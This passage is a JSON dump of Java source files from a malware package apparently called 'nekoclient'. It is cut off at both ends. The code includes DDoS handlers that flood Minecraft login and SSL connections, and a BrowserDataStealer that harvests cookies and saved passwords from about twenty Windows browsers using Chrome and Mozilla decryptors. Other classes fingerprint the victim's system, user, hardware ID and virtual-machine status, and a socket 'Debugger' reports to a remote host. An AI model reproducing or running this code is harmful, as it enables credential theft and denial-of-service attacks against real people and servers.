 ? this.createPacket(0, new StringType(username), new BooleanType(false))\r\n            : this.createPacket(0, new StringType(username), new BooleanType(true), new UUIDType(uuid));\r\n      } else if (this.protocolVersion.inRange(ProtocolVersion.V1_19, ProtocolVersion.V1_19_2)) {\r\n         return Objects.isNull(uuid)\r\n            ? this.createPacket(0, new StringType(username), new BooleanType(false), new BooleanType(false))\r\n            : this.createPacket(0, new StringType(username), new BooleanType(false), new BooleanType(true), new UUIDType(uuid));\r\n      } else {\r\n         return this.createPacket(0, new StringType(username));\r\n      }\r\n   }\r\n\r\n   public ByteBuffer createPacket(int id, Type<?>... types) {\r\n      VarIntType packetId = new VarIntType(id);\r\n      int size = packetId.size();\r\n\r\n      for(Type<?> type : types) {\r\n         size += type.size();\r\n      }\r\n\r\n      ByteBuffer packetBuffer = ByteBuffer.allocate(size);\r\n      packetId.write(packetBuffer);\r\n\r\n      for(Type<?> type : types) {\r\n         type.write(packetBuffer);\r\n      }\r\n\r\n      ((Buffer)packetBuffer).flip();\r\n      VarIntType packetLength = new VarIntType(packetBuffer.capacity());\r\n      ByteBuffer buffer = ByteBuffer.allocate(packetLength.size() + packetBuffer.capacity());\r\n      packetLength.write(buffer);\r\n      buffer.put(packetBuffer);\r\n      ((Buffer)buffer).flip();\r\n      return buffer;\r\n   }\r\n\r\n   public final MinecraftMethodHandler.Packet readPacket(SocketChannel channel) throws IOException {\r\n      ByteBuffer buffer = ByteBuffer.allocate(1);\r\n      int packetLength = 0;\r\n      int moves = 0;\r\n\r\n      byte buff;\r\n      do {\r\n         ((Buffer)buffer).position(0);\r\n         channel.read(buffer);\r\n         ((Buffer)buffer).position(0);\r\n         buff = buffer.get();\r\n         packetLength |= (buff & 127) << moves++ * 7;\r\n         if (moves > 5) {\r\n            throw new RuntimeException(\"VarInt too big\");\r\n         }\r\n      } while((buff & 128) == 128);\r\n\r\n      ByteBuffer packetBuf = ByteBuffer.allocate(packetLength);\r\n      channel.read(packetBuf);\r\n      ((Buffer)packetBuf).flip();\r\n      return new MinecraftMethodHandler.Packet(new VarIntType().read(packetBuf), packetBuf);\r\n   }\r\n\r\n   public static class Packet {\r\n      private final int id;\r\n      private final ByteBuffer buffer;\r\n\r\n      public Packet(int id, ByteBuffer buffer) {\r\n         this.id = id;\r\n         this.buffer = buffer;\r\n      }\r\n\r\n      public final int getId() {\r\n         return this.id;\r\n      }\r\n\r\n      public final ByteBuffer getBuffer() {\r\n         return this.buffer;\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/minecraft/ProtocolVersion.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.minecraft;\r\n\r\npublic enum ProtocolVersion {\r\n   V1_19_4(762),\r\n   V1_19_3(761),\r\n   V1_19_2(760),\r\n   V1_19(759),\r\n   V1_18_2(758),\r\n   V1_18_1(757),\r\n   V1_18(757),\r\n   V1_17_1(756),\r\n   V1_17(755),\r\n   V1_16_5(754),\r\n   V1_16_4(754),\r\n   V1_16_3(753),\r\n   V1_16_2(751),\r\n   V1_16_1(736),\r\n   V1_16(735),\r\n   V1_15_2(578),\r\n   V1_15_1(575),\r\n   V1_15(573),\r\n   V1_14_4(498),\r\n   V1_14_3(490),\r\n   V1_14_2(485),\r\n   V1_14_1(480),\r\n   V1_14(477),\r\n   V1_13_2(404),\r\n   V1_13_1(401),\r\n   V1_13(393),\r\n   V1_12_2(340),\r\n   V1_12_1(338),\r\n   V1_12(335),\r\n   V1_11_2(316),\r\n   V1_11_1(316),\r\n   V1_11(315),\r\n   V1_10(210),\r\n   V1_9_4(110),\r\n   V1_9_3(110),\r\n   V1_9_2(109),\r\n   V1_9_1(108),\r\n   V1_9(107),\r\n   V1_8_9(47),\r\n   V1_8_8(47),\r\n   V1_8_7(47),\r\n   V1_8_6(47),\r\n   V1_8_5(47),\r\n   V1_8_4(47),\r\n   V1_8_3(47),\r\n   V1_8_2(47),\r\n   V1_8_1(47),\r\n   V1_8(47);\r\n\r\n   private final int version;\r\n\r\n   private ProtocolVersion(int version) {\r\n      this.version = version;\r\n   }\r\n\r\n   public final int getVersion() {\r\n      return this.version;\r\n   }\r\n\r\n   public final boolean isHigherThan(ProtocolVersion other) {\r\n      return this.version > other.version;\r\n   }\r\n\r\n   public final boolean isHigherOrEqualTo(ProtocolVersion other) {\r\n      return this.version >= other.version;\r\n   }\r\n\r\n   public final boolean isLowerThan(ProtocolVersion other) {\r\n      return this.version < other.version;\r\n   }\r\n\r\n   public final boolean isLowerOrEqualTo(ProtocolVersion other) {\r\n      return this.version <= other.version;\r\n   }\r\n\r\n   public boolean inRange(ProtocolVersion first, ProtocolVersion second) {\r\n      return this.version >= first.version && this.version <= second.version;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/minecraft/State.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.minecraft;\r\n\r\npublic enum State {\r\n   HANDSHAKING(0),\r\n   STATUS(1),\r\n   LOGIN(2),\r\n   PLAY(3);\r\n\r\n   private final int id;\r\n\r\n   private State(int id) {\r\n      this.id = id;\r\n   }\r\n\r\n   public final int getId() {\r\n      return this.id;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/Type.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type;\r\n\r\nimport java.io.EOFException;\r\nimport java.nio.ByteBuffer;\r\n\r\npublic abstract class Type<T> {\r\n   protected T value;\r\n\r\n   public Type(T value) {\r\n      this.value = value;\r\n   }\r\n\r\n   public Type() {\r\n   }\r\n\r\n   public abstract void write(ByteBuffer var1);\r\n\r\n   public T read(ByteBuffer buffer) throws EOFException {\r\n      this.value = this.read0(buffer);\r\n      return this.value;\r\n   }\r\n\r\n   protected abstract T read0(ByteBuffer var1) throws EOFException;\r\n\r\n   public abstract int size();\r\n\r\n   public final T getValue() {\r\n      return this.value;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/BooleanType.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;\r\n\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;\r\nimport java.io.EOFException;\r\nimport java.nio.ByteBuffer;\r\n\r\npublic class BooleanType extends Type<Boolean> {\r\n   public BooleanType(boolean value) {\r\n      super(value);\r\n   }\r\n\r\n   public BooleanType() {\r\n   }\r\n\r\n   @Override\r\n   public void write(ByteBuffer buffer) {\r\n      buffer.put((byte)(this.value ? 1 : 0));\r\n   }\r\n\r\n   protected Boolean read0(ByteBuffer buffer) throws EOFException {\r\n      return buffer.get() == 1;\r\n   }\r\n\r\n   @Override\r\n   public int size() {\r\n      return 1;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/BytesType.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;\r\n\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;\r\nimport java.io.EOFException;\r\nimport java.nio.ByteBuffer;\r\n\r\npublic class BytesType extends Type<byte[]> {\r\n   private VarIntType varIntType;\r\n\r\n   public BytesType(byte[] bytes) {\r\n      super(bytes);\r\n      this.varIntType = new VarIntType(bytes.length);\r\n   }\r\n\r\n   public BytesType() {\r\n      this.varIntType = new VarIntType();\r\n   }\r\n\r\n   @Override\r\n   public void write(ByteBuffer buffer) {\r\n      this.varIntType.write(buffer);\r\n      buffer.put(this.value);\r\n   }\r\n\r\n   public byte[] read(ByteBuffer buffer) throws EOFException {\r\n      byte[] bytes = (byte[])super.read(buffer);\r\n      this.varIntType = new VarIntType(bytes.length);\r\n      return bytes;\r\n   }\r\n\r\n   public byte[] read0(ByteBuffer buffer) throws EOFException {\r\n      byte[] bytes = new byte[this.varIntType.read(buffer)];\r\n      buffer.get(bytes);\r\n      return bytes;\r\n   }\r\n\r\n   @Override\r\n   public int size() {\r\n      return this.varIntType.size() + ((byte[])this.value).length;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/LongType.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;\r\n\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;\r\nimport java.io.EOFException;\r\nimport java.nio.ByteBuffer;\r\n\r\npublic class LongType extends Type<Long> {\r\n   public static final int SIZE = 8;\r\n\r\n   public LongType(long value) {\r\n      super(value);\r\n   }\r\n\r\n   public LongType() {\r\n   }\r\n\r\n   @Override\r\n   public void write(ByteBuffer buffer) {\r\n      buffer.putLong(this.value);\r\n   }\r\n\r\n   protected Long read0(ByteBuffer buffer) throws EOFException {\r\n      return buffer.getLong();\r\n   }\r\n\r\n   @Override\r\n   public int size() {\r\n      return 8;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/StringType.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;\r\n\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;\r\nimport java.io.EOFException;\r\nimport java.nio.ByteBuffer;\r\n\r\npublic class StringType extends Type<String> {\r\n   private VarIntType varIntType;\r\n\r\n   public StringType(String string) {\r\n      super(string);\r\n      this.varIntType = new VarIntType(string.getBytes().length);\r\n   }\r\n\r\n   public StringType() {\r\n      this.varIntType = new VarIntType();\r\n   }\r\n\r\n   @Override\r\n   public void write(ByteBuffer buffer) {\r\n      this.varIntType.write(buffer);\r\n      buffer.put(this.value.getBytes());\r\n   }\r\n\r\n   public String read(ByteBuffer buffer) throws EOFException {\r\n      String string = (String)super.read(buffer);\r\n      this.varIntType = new VarIntType(string.length());\r\n      return string;\r\n   }\r\n\r\n   public String read0(ByteBuffer buffer) throws EOFException {\r\n      byte[] bytes = new byte[this.varIntType.read(buffer)];\r\n      buffer.get(bytes);\r\n      return new String(bytes);\r\n   }\r\n\r\n   @Override\r\n   public int size() {\r\n      return this.varIntType.size() + this.value.getBytes().length;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/UUIDType.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;\r\n\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;\r\nimport java.io.EOFException;\r\nimport java.nio.ByteBuffer;\r\nimport java.util.UUID;\r\n\r\npublic class UUIDType extends Type<UUID> {\r\n   public UUIDType(UUID value) {\r\n      super(value);\r\n   }\r\n\r\n   public UUIDType() {\r\n   }\r\n\r\n   @Override\r\n   public void write(ByteBuffer buffer) {\r\n      buffer.putLong(this.value.getMostSignificantBits());\r\n      buffer.putLong(this.value.getLeastSignificantBits());\r\n   }\r\n\r\n   protected UUID read0(ByteBuffer buffer) throws EOFException {\r\n      return new UUID(buffer.getLong(), buffer.getLong());\r\n   }\r\n\r\n   @Override\r\n   public int size() {\r\n      return 16;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/UnsignedShortType.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;\r\n\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;\r\nimport java.io.EOFException;\r\nimport java.nio.ByteBuffer;\r\n\r\npublic class UnsignedShortType extends Type<Integer> {\r\n   public static final int SIZE = 2;\r\n\r\n   public UnsignedShortType(int value) {\r\n      super(value);\r\n   }\r\n\r\n   public UnsignedShortType() {\r\n   }\r\n\r\n   @Override\r\n   public void write(ByteBuffer buffer) {\r\n      buffer.put((byte)(this.value >>> 8 & 0xFF));\r\n      buffer.put((byte)(this.value & 0xFF));\r\n   }\r\n\r\n   public Integer read0(ByteBuffer buffer) throws EOFException {\r\n      int ch1 = buffer.get();\r\n      int ch2 = buffer.get();\r\n      if ((ch1 | ch2) < 0) {\r\n         throw new EOFException();\r\n      } else {\r\n         return (ch1 << 8) + ch2;\r\n      }\r\n   }\r\n\r\n   @Override\r\n   public int size() {\r\n      return 2;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/VarIntType.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;\r\n\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;\r\nimport java.nio.ByteBuffer;\r\n\r\npublic class VarIntType extends Type<Integer> {\r\n   public static final int MAX_SIZE = 2097151;\r\n   public static final int MAX_BYTES = 5;\r\n\r\n   public VarIntType(int value) {\r\n      super(value);\r\n   }\r\n\r\n   public VarIntType() {\r\n   }\r\n\r\n   @Override\r\n   public void write(ByteBuffer buffer) {\r\n      int v;\r\n      for(v = this.value; (v & -128) != 0; v >>>= 7) {\r\n         buffer.put((byte)(v & 127 | 128));\r\n      }\r\n\r\n      buffer.put((byte)v);\r\n   }\r\n\r\n   public Integer read0(ByteBuffer buffer) {\r\n      int var = 0;\r\n      int moves = 0;\r\n\r\n      byte buff;\r\n      do {\r\n         buff = buffer.get();\r\n         var |= (buff & 127) << moves++ * 7;\r\n         if (moves > 5) {\r\n            throw new RuntimeException(\"VarInt too big\");\r\n         }\r\n      } while((buff & 128) == 128);\r\n\r\n      return var;\r\n   }\r\n\r\n   @Override\r\n   public int size() {\r\n      int v = this.value;\r\n      if (v < 0) {\r\n         v = ~v;\r\n      }\r\n\r\n      int count = 1;\r\n\r\n      while((v >>>= 7) != 0) {\r\n         ++count;\r\n      }\r\n\r\n      return count;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/ssl/SSLBufferFloodingMethodHandler.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.ssl;\r\n\r\nimport java.io.IOException;\r\nimport java.io.OutputStream;\r\nimport javax.net.ssl.SSLSocket;\r\n\r\npublic abstract class SSLBufferFloodingMethodHandler extends SSLWriteMethodHandler {\r\n   protected byte[] buffer;\r\n\r\n   @Override\r\n   public void handle(SSLSocket socket) throws IOException {\r\n      OutputStream outputStream = socket.getOutputStream();\r\n\r\n      while(socket.isConnected()) {\r\n         outputStream.write(this.buffer);\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/ssl/SSLBufferWritingMethodHandler.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.ssl;\r\n\r\nimport java.io.IOException;\r\nimport javax.net.ssl.SSLSocket;\r\n\r\npublic abstract class SSLBufferWritingMethodHandler extends SSLWriteMethodHandler {\r\n   protected byte[] buffer;\r\n\r\n   @Override\r\n   public void handle(SSLSocket socket) throws IOException {\r\n      socket.getOutputStream().write(this.buffer);\r\n      socket.close();\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/ssl/SSLWriteMethodHandler.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.ssl;\r\n\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.MethodHandler;\r\nimport java.io.IOException;\r\nimport java.net.InetSocketAddress;\r\nimport java.util.Objects;\r\nimport javax.net.ssl.SSLSocket;\r\nimport javax.net.ssl.SSLSocketFactory;\r\n\r\npublic abstract class SSLWriteMethodHandler implements MethodHandler {\r\n   private static final SSLSocketFactory FACTORY = (SSLSocketFactory)SSLSocketFactory.getDefault();\r\n\r\n   public abstract void handle(SSLSocket var1) throws IOException;\r\n\r\n   @Override\r\n   public void run(Protocol protocol, InetSocketAddress address) throws IOException {\r\n      if (!Objects.equals(protocol, Protocol.TCP)) {\r\n         throw new IllegalStateException();\r\n      } else {\r\n         SSLSocket socket = (SSLSocket)FACTORY.createSocket(address.getAddress(), address.getPort());\r\n         socket.startHandshake();\r\n         this.handle(socket);\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/debugger/Debugger.java",
    "content": "package dev.neko.nekoclient.api.debugger;\r\n\r\nimport java.io.IOException;\r\nimport java.net.InetSocketAddress;\r\nimport java.nio.Buffer;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.channels.SocketChannel;\r\n\r\npublic class Debugger {\r\n   private final InetSocketAddress address;\r\n   private final int id;\r\n   private final SocketChannel channel;\r\n\r\n   public Debugger(InetSocketAddress address, int id) throws IOException {\r\n      this.address = address;\r\n      this.id = id;\r\n      this.channel = SocketChannel.open();\r\n   }\r\n\r\n   public void connect() throws IOException {\r\n      this.channel.configureBlocking(true);\r\n      this.channel.socket().connect(this.address, 5000);\r\n      this.channel.write((ByteBuffer)((Buffer)ByteBuffer.allocate(4).putInt(this.id)).flip());\r\n   }\r\n\r\n   public void close() throws IOException {\r\n      this.channel.close();\r\n   }\r\n\r\n   public void debug(String text) throws IOException {\r\n      this.debug(text.getBytes());\r\n   }\r\n\r\n   public void debug(byte[] bytes) throws IOException {\r\n      this.channel.write((ByteBuffer)((Buffer)ByteBuffer.allocate(4).putInt(bytes.length)).flip());\r\n      this.channel.write(ByteBuffer.wrap(bytes));\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/disconnect/DisconnectException.java",
    "content": "package dev.neko.nekoclient.api.disconnect;\r\n\r\npublic class DisconnectException extends RuntimeException {\r\n   private final DisconnectReason reason;\r\n\r\n   public DisconnectException(DisconnectReason reason) {\r\n      this.reason = reason;\r\n   }\r\n\r\n   public final DisconnectReason getReason() {\r\n      return this.reason;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/disconnect/DisconnectReason.java",
    "content": "package dev.neko.nekoclient.api.disconnect;\r\n\r\npublic enum DisconnectReason {\r\n   INVALID_VERSION,\r\n   DUPLICATE,\r\n   TIMEOUT,\r\n   UNKNOWN;\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/info/ClientInfo.java",
    "content": "package dev.neko.nekoclient.api.info;\r\n\r\npublic class ClientInfo {\r\n   private final OperatingSystem operatingSystem;\r\n   private final User user;\r\n   private final String hardwareId;\r\n   private final String ref;\r\n   private final boolean virtualMachine;\r\n\r\n   public ClientInfo(OperatingSystem operatingSystem, User user, String hardwareId, String ref, boolean virtualMachine) {\r\n      this.operatingSystem = operatingSystem;\r\n      this.user = user;\r\n      this.hardwareId = hardwareId;\r\n      this.ref = ref;\r\n      this.virtualMachine = virtualMachine;\r\n   }\r\n\r\n   public final OperatingSystem getOperatingSystem() {\r\n      return this.operatingSystem;\r\n   }\r\n\r\n   public final User getUser() {\r\n      return this.user;\r\n   }\r\n\r\n   public final String getHardwareId() {\r\n      return this.hardwareId;\r\n   }\r\n\r\n   public final String getRef() {\r\n      return this.ref;\r\n   }\r\n\r\n   public final boolean isVirtualMachine() {\r\n      return this.virtualMachine;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/info/OperatingSystem.java",
    "content": "package dev.neko.nekoclient.api.info;\r\n\r\npublic class OperatingSystem {\r\n   private final String name;\r\n   private final String version;\r\n   private final String architecture;\r\n   private final int processors;\r\n   private final long totalPhysicalMemory;\r\n   private final String processorName;\r\n\r\n   public OperatingSystem(String name, String version, String architecture, int processors, long totalPhysicalMemory, String processorName) {\r\n      this.name = name;\r\n      this.version = version;\r\n      this.architecture = architecture;\r\n      this.processors = processors;\r\n      this.totalPhysicalMemory = totalPhysicalMemory;\r\n      this.processorName = processorName;\r\n   }\r\n\r\n   public final String getName() {\r\n      return this.name;\r\n   }\r\n\r\n   public final String getVersion() {\r\n      return this.version;\r\n   }\r\n\r\n   public final String getArchitecture() {\r\n      return this.architecture;\r\n   }\r\n\r\n   public final int getProcessors() {\r\n      return this.processors;\r\n   }\r\n\r\n   public final long getTotalPhysicalMemory() {\r\n      return this.totalPhysicalMemory;\r\n   }\r\n\r\n   public final String getProcessorName() {\r\n      return this.processorName;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/info/Side.java",
    "content": "package dev.neko.nekoclient.api.info;\r\n\r\npublic enum Side {\r\n   CLIENT,\r\n   SERVER;\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/info/User.java",
    "content": "package dev.neko.nekoclient.api.info;\r\n\r\npublic class User {\r\n   private final String name;\r\n   private final String hostname;\r\n   private final String home;\r\n   private final String country;\r\n   private final String language;\r\n\r\n   public User(String name, String hostname, String home, String country, String language) {\r\n      this.name = name;\r\n      this.hostname = hostname;\r\n      this.home = home;\r\n      this.country = country;\r\n      this.language = language;\r\n   }\r\n\r\n   public final String getName() {\r\n      return this.name;\r\n   }\r\n\r\n   public final String getHome() {\r\n      return this.home;\r\n   }\r\n\r\n   public final String getCountry() {\r\n      return this.country;\r\n   }\r\n\r\n   public final String getLanguage() {\r\n      return this.language;\r\n   }\r\n\r\n   public final String getHostname() {\r\n      return this.hostname;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/info/VersionInfo.java",
    "content": "package dev.neko.nekoclient.api.info;\r\n\r\npublic class VersionInfo {\r\n   private final Side side;\r\n   private final String version;\r\n\r\n   public VersionInfo(Side side, String version) {\r\n      this.side = side;\r\n      this.version = version;\r\n   }\r\n\r\n   public final Side getSide() {\r\n      return this.side;\r\n   }\r\n\r\n   public final String getVersion() {\r\n      return this.version;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/proxy/ProxyResponse.java",
    "content": "package dev.neko.nekoclient.api.proxy;\r\n\r\npublic enum ProxyResponse {\r\n   CONNECTED,\r\n   TIMED_OUT,\r\n   CONNECTION_REFUSED,\r\n   UNKNOWN_HOST,\r\n   UNKNOWN_ERROR;\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/browser/BrowserData.java",
    "content": "package dev.neko.nekoclient.api.stealer.browser;\r\n\r\nimport dev.neko.nekoclient.api.stealer.browser.cookie.Cookie;\r\nimport dev.neko.nekoclient.api.stealer.browser.impl.credential.Credential;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\nimport java.util.Objects;\r\n\r\npublic class BrowserData {\r\n   private final List<Cookie> cookies = new ArrayList<>();\r\n   private final List<Credential> credentials = new ArrayList<>();\r\n\r\n   public void addCookie(Cookie cookie) {\r\n      if (!this.cookies.contains(cookie)) {\r\n         this.cookies.add(cookie);\r\n      }\r\n   }\r\n\r\n   public void addCredential(Credential credential) {\r\n      if (!Objects.isNull(credential.getHost())\r\n         && !Objects.isNull(credential.getUsername())\r\n         && !credential.getUsername().isEmpty()\r\n         && !Objects.isNull(credential.getPassword())\r\n         && !credential.getPassword().isEmpty()\r\n         && !this.credentials.contains(credential)) {\r\n         this.credentials.add(credential);\r\n      }\r\n   }\r\n\r\n   public final List<Cookie> getCookies() {\r\n      return this.cookies;\r\n   }\r\n\r\n   public final List<Credential> getCredentials() {\r\n      return this.credentials;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/browser/cookie/Cookie.java",
    "content": "package dev.neko.nekoclient.api.stealer.browser.cookie;\r\n\r\nimport java.util.Objects;\r\n\r\npublic class Cookie {\r\n   private final String host;\r\n   private final String path;\r\n   private final String name;\r\n   private final String value;\r\n   private final long expires;\r\n   private final boolean secure;\r\n   private final boolean httpOnly;\r\n\r\n   public Cookie(String host, String path, String name, String value, long expires, boolean secure, boolean httpOnly) {\r\n      this.host = host;\r\n      this.path = path;\r\n      this.name = name;\r\n      this.value = value;\r\n      this.expires = expires;\r\n      this.secure = secure;\r\n      this.httpOnly = httpOnly;\r\n   }\r\n\r\n   public final String getValue() {\r\n      return this.value;\r\n   }\r\n\r\n   public final String getPath() {\r\n      return this.path;\r\n   }\r\n\r\n   public final String getHost() {\r\n      return this.host;\r\n   }\r\n\r\n   public final String getName() {\r\n      return this.name;\r\n   }\r\n\r\n   @Override\r\n   public boolean equals(Object obj) {\r\n      if (!(obj instanceof Cookie)) {\r\n         return false;\r\n      } else {\r\n         Cookie other = (Cookie)obj;\r\n         return Objects.equals(this.name, other.getName())\r\n            && Objects.equals(this.host, other.getHost())\r\n            && Objects.equals(this.value, other.getValue())\r\n            && Objects.equals(this.path, other.getPath());\r\n      }\r\n   }\r\n\r\n   public final long getExpires() {\r\n      return this.expires;\r\n   }\r\n\r\n   public final boolean isSecure() {\r\n      return this.secure;\r\n   }\r\n\r\n   public final boolean isHttpOnly() {\r\n      return this.httpOnly;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/browser/impl/BrowserDataStealer.java",
    "content": "package dev.neko.nekoclient.api.stealer.browser.impl;\r\n\r\nimport com.eclipsesource.json.Json;\r\nimport com.eclipsesource.json.JsonArray;\r\nimport com.eclipsesource.json.JsonObject;\r\nimport com.eclipsesource.json.JsonValue;\r\nimport com.eclipsesource.json.ParseException;\r\nimport com.sun.jna.Platform;\r\nimport dev.neko.nekoclient.api.stealer.browser.BrowserData;\r\nimport dev.neko.nekoclient.api.stealer.browser.cookie.Cookie;\r\nimport dev.neko.nekoclient.api.stealer.browser.impl.credential.Credential;\r\nimport dev.neko.nekoclient.api.stealer.browser.impl.decrypt.chrome.ChromeDecryptor;\r\nimport dev.neko.nekoclient.api.stealer.browser.impl.decrypt.mozilla.MozillaDecryptor;\r\nimport java.io.IOException;\r\nimport java.io.InputStreamReader;\r\nimport java.net.URL;\r\nimport java.nio.file.Files;\r\nimport java.nio.file.Path;\r\nimport java.nio.file.Paths;\r\nimport java.security.InvalidAlgorithmParameterException;\r\nimport java.security.InvalidKeyException;\r\nimport java.security.NoSuchAlgorithmException;\r\nimport java.sql.Connection;\r\nimport java.sql.DriverManager;\r\nimport java.sql.ResultSet;\r\nimport java.sql.SQLException;\r\nimport java.sql.Statement;\r\nimport java.util.Base64;\r\nimport java.util.Collections;\r\nimport java.util.List;\r\nimport java.util.Objects;\r\nimport java.util.stream.Collectors;\r\nimport javax.crypto.BadPaddingException;\r\nimport javax.crypto.IllegalBlockSizeException;\r\nimport javax.crypto.NoSuchPaddingException;\r\n\r\npublic class BrowserDataStealer {\r\n   public static BrowserData read() {\r\n      BrowserData browserData = new BrowserData();\r\n      if (!Platform.isWindows()) {\r\n         return browserData;\r\n      } else {\r\n         readMozillaSafely(browserData, Paths.get(System.getenv(\"APPDATA\"), \"Mozilla\", \"Firefox\", \"Profiles\"));\r\n         readMozillaSafely(browserData, Paths.get(System.getenv(\"APPDATA\"), \"Waterfox\", \"Profiles\"));\r\n         readMozillaSafely(browserData, Paths.get(System.getenv(\"APPDATA\"), \"Pale Moon\", \"Profiles\"));\r\n         readMozillaSafely(browserData, Paths.get(System.getenv(\"APPDATA\"), \"Mozilla\", \"SeaMonkey\", \"Profiles\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"LOCALAPPDATA\"), \"Microsoft\", \"Edge\", \"User Data\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"LOCALAPPDATA\"), \"BraveSoftware\", \"Brave-Browser\", \"User Data\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"LOCALAPPDATA\"), \"Vivaldi\", \"User Data\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"LOCALAPPDATA\"), \"Yandex\", \"YandexBrowser\", \"User Data\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"LOCALAPPDATA\"), \"Slimjet\", \"User Data\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"LOCALAPPDATA\"), \"CentBrowser\", \"User Data\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"LOCALAPPDATA\"), \"Comodo\", \"Dragon\", \"User Data\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"LOCALAPPDATA\"), \"Iridium\", \"User Data\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"LOCALAPPDATA\"), \"UCBrowser\", \"User Data\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"APPDATA\"), \"Opera Software\", \"Opera Beta\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"APPDATA\"), \"Opera Software\", \"Opera Developer\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"APPDATA\"), \"Opera Software\", \"Opera Stable\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"APPDATA\"), \"Opera Software\", \"Opera GX Stable\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"APPDATA\"), \"Opera Software\", \"Opera Crypto Stable\"));\r\n         readChromiumSafely(browserData, Paths.get(System.getenv(\"APPDATA\"), \"CryptoTab Browser\", \"User Data\"));\r\n         return browserData;\r\n      }\r\n   }\r\n\r\n   public static void readMozillaSafely(BrowserData browserData, Path profilesDirectory) {\r\n      try {\r\n         readMozilla(browserData, profilesDirectory);\r\n      } catch (Throwable var3) {\r\n      }\r\n   }\r\n\r\n   public static void readMozilla(BrowserData browserData, Path profilesDirectory) throws IOException {\r\n      if (Files.exists(profilesDirectory)) {\r\n         for(Path profile : Files.walk(profilesDirectory, 1).filter(path -> !Objects.equals(path, profilesDirectory)).collect(Collectors.toList())) {\r\n            Path cookiesFile = profile.resolve(\"cookies.sqlite\");\r\n            if (Files.isRegularFile(cookiesFile) && Files.isReadable(cookiesFile)) {\r\n               try {\r\n  